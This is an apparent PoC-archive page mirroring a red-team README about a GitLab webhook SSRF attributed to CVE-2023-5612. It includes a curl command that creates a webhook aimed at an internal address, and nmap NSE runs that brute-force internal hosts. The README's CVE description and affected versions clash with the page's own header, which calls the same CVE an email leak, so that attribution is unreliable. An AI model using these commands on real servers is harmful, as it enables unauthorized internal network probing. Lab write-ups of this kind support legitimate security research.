关联漏洞
标题:
GitLab 安全漏洞
(CVE-2023-5612)
描述:GitLab是美国GitLab公司的一个开源的端到端软件开发平台,具有内置的版本控制、问题跟踪、代码审查、CI/CD(持续集成和持续交付)等功能。 GitLab 16.6.6之前版本、16.7版本至16.7.4之前版本、16.8版本至16.8.1之前版本存在安全漏洞。攻击者利用该漏洞可以通过标签源读取用户电子邮件地址。
描述
Analysis via script CVE-2023-5612
介绍
# CVE-2023-5612 – GitLab SSRF via Webhook URL (PoC & Analysis)
## 📌 CVE Overview
- **CVE-ID:** CVE-2023-5612
- **Severity:** High (CVSS: 8.1 Base Score)
- **Type:** Server-Side Request Forgery (SSRF)
- **Component:** GitLab CE/EE Webhooks
- **Affected Versions:** GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1
## 🧠 Description
An SSRF vulnerability in GitLab CE/EE allows attackers with valid Project Maintainer access to send crafted requests to arbitrary internal services via malicious webhook URLs. Exploitation leads to internal network scanning, metadata leakage, or further pivoting.
---
## ✅ Exploit Conditions
- У злоумышленника есть **maintainer**-доступ к проекту
- GitLab не имеет жесткой фильтрации или валидации URL-хуков
---
## ⚙️ PoC Steps (Manual)
```bash
curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
--data-urlencode "url=http://127.0.0.1:8888" \
http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks
```
## 🧱 Environment & Setup
``` Эксплуатация проводилась в изолированной лабораторной среде:
- Kali Linux внутри виртуальной машины, развернутой специально под тестирование
- Поднятый через Docker экземпляр уязвимого GitLab CE (порт 8080)
- Внутри GitLab:
- Создан тестовый проект
- Сгенерирован Personal Access Token (glpat-...) с правами Maintainer
- Для внутреннего SSRF-таргета был поднят минимальный HTTP-сервис на 127.0.0.1:8888
```
## 🧠 Methodology
``` Исследование выполнялось в несколько этапов:
- Подтверждение уязвимости вручную через curl (см. PoC)
- Создание кастомных NSE-скриптов:
gitlab-ssrf.nse: точечная проверка SSRF
gitlab-ssrf-brute.nse: автоматический перебор внутренних адресов
- Тестирование с nmap -d и --script-trace, для анализа поведения API и фиксации результатов
- Получение отклика 401 Unauthorized от внутреннего сервиса, что указывает на успешный SSRF
- Успешный запрос вернет `201 Created` либо ошибку вида `401 Unauthorized`, что указывает на SSRF-доступ.
```
---
## 🛠 NSE Script (Manual Trigger)
```bash
nmap -p 8080 \
--script ./gitlab-ssrf.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
```
## 🧪 NSE Script (Bruteforce Internal URLs)
```bash
nmap -p 8080 \
--script ./gitlab-ssrf-brute.nse \
--script-args gitlab.token="<TOKEN>" \
<target-ip>
```
---
## 📈 Conclusion
```
В ходе работы над уязвимостью **CVE-2023-5612** был воспроизведён успешный SSRF-атакующий сценарий с доступом к внутренним адресам через API GitLab CE. Это демонстрирует, насколько важно ограничивать возможности вебхуков и внедрять валидацию URL-адресов на стороне сервера.
```
## 🎯 **Цель выполнена:**
- SSRF подтверждён
- NSE-инструментарий реализован
- Проект задокументирован и открыт для сообщества
---
## 📂 Repo Structure
```
.
├── gitlab-ssrf.nse # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse # NSE brute script to scan internal hosts/ports
├── screenshots/ # Скрины выполнения PoC и подтверждения уязвимости
└── README.md # Этот файл
```
---
## 🖼 Screenshots
- ✅ Успешный SSRF с возвратом 401 Unauthorized
- 📜 Логи nmap c отработкой скрипта
- 📦 Добавление вебхука через API
---
## ⚠️ Mitigation
- Upgrade GitLab to >= 16.2.7 / 16.3.4 / 16.4.1
- Ограничить outbound HTTP через egress firewall
- Использовать internal allow-lists для вебхуков
---
## 🧠 Author & Contact
**Pavel Topskiy**
[GitHub](https://github.com/TopskiyPavelQwertyGang) • Security Analyst, Red Team Analyst
---
## 📅 Timeline
- **June 2025:** Анализ PoC и уязвимости
- **5 июня 2025:** Написание кастомного NSE-скрипта и тестов
---
## 🔐 Disclaimer
All testing was done in isolated lab environments on intentionally vulnerable versions. Do not use this against unauthorized systems. Respect ethical hacking principles.
文件快照
[4.0K] /data/pocs/2857fcfe2d9b68624f86a4d03b528efefcb7dd2e
├── [1.4K] gitlab-ssrf-brute.nse
├── [1.7K] gitlab-ssrf.nse
├── [4.9K] README.md
└── [4.0K] Screenshots
├── [200K] Screeanshots.Docker.id.png
├── [234K] Screeanshots.Docker.Install.png
├── [131K] Screeanshots.Docker.Project.png
├── [325K] Screeanshots.gitlab-ssrf.nse.png
├── [137K] Screeanshots.vulhub.png
└── [400K] Screenshots.gitlab-ssrf-brute.nse.png
1 directory, 9 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。